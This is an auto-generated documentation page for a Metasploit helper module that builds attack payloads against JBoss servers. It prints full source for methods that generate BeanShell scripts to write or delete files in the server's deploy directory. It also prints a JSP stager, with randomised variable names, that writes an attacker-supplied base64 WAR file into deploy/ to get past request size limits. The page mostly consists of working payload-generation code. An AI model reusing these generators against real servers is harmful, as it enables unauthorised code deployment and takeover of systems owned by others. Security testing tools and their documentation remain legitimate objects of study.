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Module: Msf::Exploit::Remote::HTTP::JBoss::BeanShellScripts
&mdash; Documentation by YARD 0.9.37
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<div id="content"><h1>Module: Msf::Exploit::Remote::HTTP::JBoss::BeanShellScripts
</h1>
<div class="box_info">
<dl>
<dt>Included in:</dt>
<dd><span class='object_link'><a href="../JBoss.html" title="Msf::Exploit::Remote::HTTP::JBoss (module)">Msf::Exploit::Remote::HTTP::JBoss</a></span></dd>
</dl>
<dl>
<dt>Defined in:</dt>
<dd>lib/msf/core/exploit/remote/http/jboss/bean_shell_scripts.rb</dd>
</dl>
</div>
<h2>
Instance Method Summary
<small><a href="#" class="summary_toggle">collapse</a></small>
</h2>
<ul class="summary">
<li class="public ">
<span class="summary_signature">
<a href="#create_file_bsh-instance_method" title="#create_file_bsh (instance method)">#<strong>create_file_bsh</strong>(opts = {}) &#x21d2; String </a>
</span>
<span class="summary_desc"><div class='inline'>
<p>Generate a Bean Shell script which creates files inside the JBOSS’s deploy directory.</p>
</div></span>
</li>
<li class="public ">
<span class="summary_signature">
<a href="#delete_files_bsh-instance_method" title="#delete_files_bsh (instance method)">#<strong>delete_files_bsh</strong>(opts = {}) &#x21d2; String </a>
</span>
<span class="summary_desc"><div class='inline'>
<p>Generate a Bean Shell script to delete files from the JBoss’s /deploy directory.</p>
</div></span>
</li>
<li class="public ">
<span class="summary_signature">
<a href="#generate_bsh-instance_method" title="#generate_bsh (instance method)">#<strong>generate_bsh</strong>(type, opts = {}) &#x21d2; String </a>
</span>
<span class="summary_desc"><div class='inline'>
<p>Generates a Bean Shell Script.</p>
</div></span>
</li>
<li class="public ">
<span class="summary_signature">
<a href="#stager_jsp-instance_method" title="#stager_jsp (instance method)">#<strong>stager_jsp</strong>(app_base) &#x21d2; String </a>
</span>
<span class="summary_desc"><div class='inline'>
<p>Generate a stager JSP to write a WAR file to the deploy/ directory.</p>
</div></span>
</li>
</ul>
<div id="instance_method_details" class="method_details_list">
<h2>Instance Method Details</h2>
<div class="method_details first">
<h3 class="signature first" id="create_file_bsh-instance_method">
#<strong>create_file_bsh</strong>(opts = {}) &#x21d2; <tt>String</tt>
</h3><div class="docstring">
<div class="discussion">
<p>Generate a Bean Shell script which creates files inside the JBOSS’s deploy</p>
<pre class="code ruby"><code class="ruby">directory.
</code></pre>
</div>
</div>
<div class="tags">
<p class="tag_title">Parameters:</p>
<ul class="param">
<li>
<span class='name'>opts</span>
<span class='type'>(<tt>Hash</tt>)</span>
<em class="default">(defaults to: <tt>{}</tt>)</em>
&mdash;
<div class='inline'>
<p>Hash containing the options to create the Bean Shell Script.</p>
</div>
</li>
</ul>
<p class="tag_title">Options Hash (<tt>opts</tt>):</p>
<ul class="option">
<li>
<span class="name">:dir</span>
<span class="type">(<tt>Symbol</tt>)</span>
<span class="default">
</span>
&mdash; <div class='inline'>
<p>The dir where place the file.</p>
</div>
</li>
<li>
<span class="name">:file</span>
<span class="type">(<tt>Symbol</tt>)</span>
<span class="default">
</span>
&mdash; <div class='inline'>
<p>The file path.</p>
</div>
</li>
<li>
<span class="name">:contents</span>
<span class="type">(<tt>Symbol</tt>)</span>
<span class="default">
</span>
&mdash; <div class='inline'>
<p>The file contents.</p>
</div>
</li>
</ul>
<p class="tag_title">Returns:</p>
<ul class="return">
<li>
<span class='type'>(<tt>String</tt>)</span>
&mdash;
<div class='inline'>
<p>A Bean Shell script to create the file.</p>
</div>
</li>
</ul>
</div><table class="source_code">
<tr>
<td>
<pre class="lines">
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</td>
<td>
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/http/jboss/bean_shell_scripts.rb', line 67</span>
<span class='kw'>def</span> <span class='id identifier rubyid_create_file_bsh'>create_file_bsh</span><span class='lparen'>(</span><span class='id identifier rubyid_opts'>opts</span> <span class='op'>=</span> <span class='lbrace'>{</span><span class='rbrace'>}</span><span class='rparen'>)</span>
<span class='id identifier rubyid_dir'>dir</span> <span class='op'>=</span> <span class='id identifier rubyid_opts'>opts</span><span class='lbracket'>[</span><span class='symbol'>:dir</span><span class='rbracket'>]</span>
<span class='id identifier rubyid_file'>file</span> <span class='op'>=</span> <span class='id identifier rubyid_opts'>opts</span><span class='lbracket'>[</span><span class='symbol'>:file</span><span class='rbracket'>]</span>
<span class='id identifier rubyid_contents'>contents</span> <span class='op'>=</span> <span class='id identifier rubyid_opts'>opts</span><span class='lbracket'>[</span><span class='symbol'>:contents</span><span class='rbracket'>]</span>
<span class='id identifier rubyid_payload_bsh_script'>payload_bsh_script</span> <span class='op'>=</span> <span class='heredoc_beg'>&lt;&lt;-EOT</span>
<span class='tstring_content'>import java.io.FileOutputStream;
import sun.misc.BASE64Decoder;
String val = &quot;</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_contents'>contents</span><span class='embexpr_end'>}</span><span class='tstring_content'>&quot;;
BASE64Decoder decoder = new BASE64Decoder();
String jboss_home = System.getProperty(&quot;jboss.server.home.dir&quot;);
new File(jboss_home + &quot;/deploy/</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_dir'>dir</span><span class='embexpr_end'>}</span><span class='tstring_content'>&quot;).mkdir();
byte[] byteval = decoder.decodeBuffer(val);
String location = jboss_home + &quot;/deploy/</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_file'>file</span><span class='embexpr_end'>}</span><span class='tstring_content'>&quot;;
FileOutputStream fstream = new FileOutputStream(location);
fstream.write(byteval);
fstream.close();
</span><span class='heredoc_end'> EOT
</span>
<span class='id identifier rubyid_payload_bsh_script'>payload_bsh_script</span>
<span class='kw'>end</span></pre>
</td>
</tr>
</table>
</div>
<div class="method_details ">
<h3 class="signature " id="delete_files_bsh-instance_method">
#<strong>delete_files_bsh</strong>(opts = {}) &#x21d2; <tt>String</tt>
</h3><div class="docstring">
<div class="discussion">
<p>Generate a Bean Shell script to delete files from the JBoss’s /deploy</p>
<pre class="code ruby"><code class="ruby">directory.
</code></pre>
</div>
</div>
<div class="tags">
<p class="tag_title">Parameters:</p>
<ul class="param">
<li>
<span class='name'>opts</span>
<span class='type'>(<tt>Hash</tt>)</span>
<em class="default">(defaults to: <tt>{}</tt>)</em>
&mdash;
<div class='inline'>
<p>Hash containing the files to delete, the values are the files paths.</p>
</div>
</li>
</ul>
<p class="tag_title">Returns:</p>
<ul class="return">
<li>
<span class='type'>(<tt>String</tt>)</span>
&mdash;
<div class='inline'>
<p>A Bean Shell script to delete files.</p>
</div>
</li>
</ul>
</div><table class="source_code">
<tr>
<td>
<pre class="lines">
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</td>
<td>
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/http/jboss/bean_shell_scripts.rb', line 97</span>
<span class='kw'>def</span> <span class='id identifier rubyid_delete_files_bsh'>delete_files_bsh</span><span class='lparen'>(</span><span class='id identifier rubyid_opts'>opts</span> <span class='op'>=</span> <span class='lbrace'>{</span><span class='rbrace'>}</span><span class='rparen'>)</span>
<span class='id identifier rubyid_script'>script</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>String jboss_home = System.getProperty(\&quot;jboss.server.home.dir\&quot;);\n</span><span class='tstring_end'>&quot;</span></span>
<span class='id identifier rubyid_opts'>opts</span><span class='period'>.</span><span class='id identifier rubyid_values'>values</span><span class='period'>.</span><span class='id identifier rubyid_each'>each</span> <span class='kw'>do</span> <span class='op'>|</span><span class='id identifier rubyid_v'>v</span><span class='op'>|</span>
<span class='id identifier rubyid_script'>script</span> <span class='op'>&lt;&lt;</span> <span class='tstring'><span class='tstring_beg'>&quot;</span><span class='tstring_content'>new File(jboss_home + \&quot;/deploy/</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_v'>v</span><span class='embexpr_end'>}</span><span class='tstring_content'>\&quot;).delete();\n</span><span class='tstring_end'>&quot;</span></span>
<span class='kw'>end</span>
<span class='id identifier rubyid_script'>script</span>
<span class='kw'>end</span></pre>
</td>
</tr>
</table>
</div>
<div class="method_details ">
<h3 class="signature " id="generate_bsh-instance_method">
#<strong>generate_bsh</strong>(type, opts = {}) &#x21d2; <tt>String</tt>
</h3><div class="docstring">
<div class="discussion">
<p>Generates a Bean Shell Script.</p>
</div>
</div>
<div class="tags">
<p class="tag_title">Parameters:</p>
<ul class="param">
<li>
<span class='name'>type</span>
<span class='type'>(<tt>Symbol</tt>)</span>
&mdash;
<div class='inline'>
<p>The Bean Shell script type, ':create` or `:delete`.</p>
</div>
</li>
<li>
<span class='name'>opts</span>
<span class='type'>(<tt>Hash</tt>)</span>
<em class="default">(defaults to: <tt>{}</tt>)</em>
&mdash;
<div class='inline'>
<p>Hash of configuration options.</p>
</div>
</li>
</ul>
<p class="tag_title">Returns:</p>
<ul class="return">
<li>
<span class='type'>(<tt>String</tt>)</span>
&mdash;
<div class='inline'>
<p>A Bean Shell script.</p>
</div>
</li>
</ul>
</div><table class="source_code">
<tr>
<td>
<pre class="lines">
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</td>
<td>
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/http/jboss/bean_shell_scripts.rb', line 10</span>
<span class='kw'>def</span> <span class='id identifier rubyid_generate_bsh'>generate_bsh</span><span class='lparen'>(</span><span class='id identifier rubyid_type'>type</span><span class='comma'>,</span> <span class='id identifier rubyid_opts'>opts</span> <span class='op'>=</span><span class='lbrace'>{</span><span class='rbrace'>}</span><span class='rparen'>)</span>
<span class='id identifier rubyid_bean_shell'>bean_shell</span> <span class='op'>=</span> <span class='kw'>nil</span>
<span class='kw'>case</span> <span class='id identifier rubyid_type'>type</span>
<span class='kw'>when</span> <span class='symbol'>:create</span>
<span class='id identifier rubyid_bean_shell'>bean_shell</span> <span class='op'>=</span> <span class='id identifier rubyid_create_file_bsh'>create_file_bsh</span><span class='lparen'>(</span><span class='id identifier rubyid_opts'>opts</span><span class='rparen'>)</span>
<span class='kw'>when</span> <span class='symbol'>:delete</span>
<span class='id identifier rubyid_bean_shell'>bean_shell</span> <span class='op'>=</span> <span class='id identifier rubyid_delete_files_bsh'>delete_files_bsh</span><span class='lparen'>(</span><span class='id identifier rubyid_opts'>opts</span><span class='rparen'>)</span>
<span class='kw'>end</span>
<span class='id identifier rubyid_bean_shell'>bean_shell</span>
<span class='kw'>end</span></pre>
</td>
</tr>
</table>
</div>
<div class="method_details ">
<h3 class="signature " id="stager_jsp-instance_method">
#<strong>stager_jsp</strong>(app_base) &#x21d2; <tt>String</tt>
</h3><div class="docstring">
<div class="discussion">
<p>Generate a stager JSP to write a WAR file to the deploy/ directory. This is used to bypass the size limit for GET/HEAD requests.</p>
</div>
</div>
<div class="tags">
<p class="tag_title">Parameters:</p>
<ul class="param">
<li>
<span class='name'>app_base</span>
<span class='type'>(<tt>String</tt>)</span>
&mdash;
<div class='inline'>
<p>The name of the WAR app to write.</p>
</div>
</li>
</ul>
<p class="tag_title">Returns:</p>
<ul class="return">
<li>
<span class='type'>(<tt>String</tt>)</span>
&mdash;
<div class='inline'>
<p>The JSP stager.</p>
</div>
</li>
</ul>
</div><table class="source_code">
<tr>
<td>
<pre class="lines">
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</td>
<td>
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/http/jboss/bean_shell_scripts.rb', line 27</span>
<span class='kw'>def</span> <span class='id identifier rubyid_stager_jsp'>stager_jsp</span><span class='lparen'>(</span><span class='id identifier rubyid_app_base'>app_base</span><span class='rparen'>)</span>
<span class='id identifier rubyid_decoded_var'>decoded_var</span> <span class='op'>=</span> <span class='const'><span class='object_link'><a href="../../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alpha'>rand_text_alpha</span><span class='lparen'>(</span><span class='int'>8</span><span class='op'>+</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>8</span><span class='rparen'>)</span><span class='rparen'>)</span>
<span class='id identifier rubyid_file_path_var'>file_path_var</span> <span class='op'>=</span> <span class='const'><span class='object_link'><a href="../../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alpha'>rand_text_alpha</span><span class='lparen'>(</span><span class='int'>8</span><span class='op'>+</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>8</span><span class='rparen'>)</span><span class='rparen'>)</span>
<span class='id identifier rubyid_jboss_home_var'>jboss_home_var</span> <span class='op'>=</span> <span class='const'><span class='object_link'><a href="../../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alpha'>rand_text_alpha</span><span class='lparen'>(</span><span class='int'>8</span><span class='op'>+</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>8</span><span class='rparen'>)</span><span class='rparen'>)</span>
<span class='id identifier rubyid_fos_var'>fos_var</span> <span class='op'>=</span> <span class='const'><span class='object_link'><a href="../../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alpha'>rand_text_alpha</span><span class='lparen'>(</span><span class='int'>8</span><span class='op'>+</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>8</span><span class='rparen'>)</span><span class='rparen'>)</span>
<span class='id identifier rubyid_content_var'>content_var</span> <span class='op'>=</span> <span class='const'><span class='object_link'><a href="../../../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alpha'>rand_text_alpha</span><span class='lparen'>(</span><span class='int'>8</span><span class='op'>+</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>8</span><span class='rparen'>)</span><span class='rparen'>)</span>
<span class='id identifier rubyid_stager_jsp'>stager_jsp</span> <span class='op'>=</span> <span class='heredoc_beg'>&lt;&lt;-EOT</span>
<span class='tstring_content'>&lt;%@page import=&quot;java.io.*,
java.util.*,
sun.misc.BASE64Decoder&quot;
%&gt;
&lt;%
String </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_jboss_home_var'>jboss_home_var</span><span class='embexpr_end'>}</span><span class='tstring_content'> = System.getProperty(&quot;jboss.server.home.dir&quot;);
String </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_file_path_var'>file_path_var</span><span class='embexpr_end'>}</span><span class='tstring_content'> = </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_jboss_home_var'>jboss_home_var</span><span class='embexpr_end'>}</span><span class='tstring_content'> + &quot;/deploy/&quot; + &quot;</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_app_base'>app_base</span><span class='embexpr_end'>}</span><span class='tstring_content'>.war&quot;;
try {
String </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_content_var'>content_var</span><span class='embexpr_end'>}</span><span class='tstring_content'> = &quot;&quot;;
String parameterName = (String)(request.getParameterNames().nextElement());
</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_content_var'>content_var</span><span class='embexpr_end'>}</span><span class='tstring_content'> = request.getParameter(parameterName);
FileOutputStream </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_fos_var'>fos_var</span><span class='embexpr_end'>}</span><span class='tstring_content'> = new FileOutputStream(</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_file_path_var'>file_path_var</span><span class='embexpr_end'>}</span><span class='tstring_content'>);
byte[] </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_decoded_var'>decoded_var</span><span class='embexpr_end'>}</span><span class='tstring_content'> = new BASE64Decoder().decodeBuffer(</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_content_var'>content_var</span><span class='embexpr_end'>}</span><span class='tstring_content'>);
</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_fos_var'>fos_var</span><span class='embexpr_end'>}</span><span class='tstring_content'>.write(</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_decoded_var'>decoded_var</span><span class='embexpr_end'>}</span><span class='tstring_content'>);
</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_fos_var'>fos_var</span><span class='embexpr_end'>}</span><span class='tstring_content'>.close();
}
catch(Exception e){ }
%&gt;
</span><span class='heredoc_end'> EOT
</span>
<span class='id identifier rubyid_stager_jsp'>stager_jsp</span>
<span class='kw'>end</span></pre>
</td>
</tr>
</table>
</div>
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<div id="footer">
Generated on Fri May 8 17:02:46 2026 by
<a href="https://yardoc.org" title="Yay! A Ruby Documentation Tool" target="_parent">yard</a>
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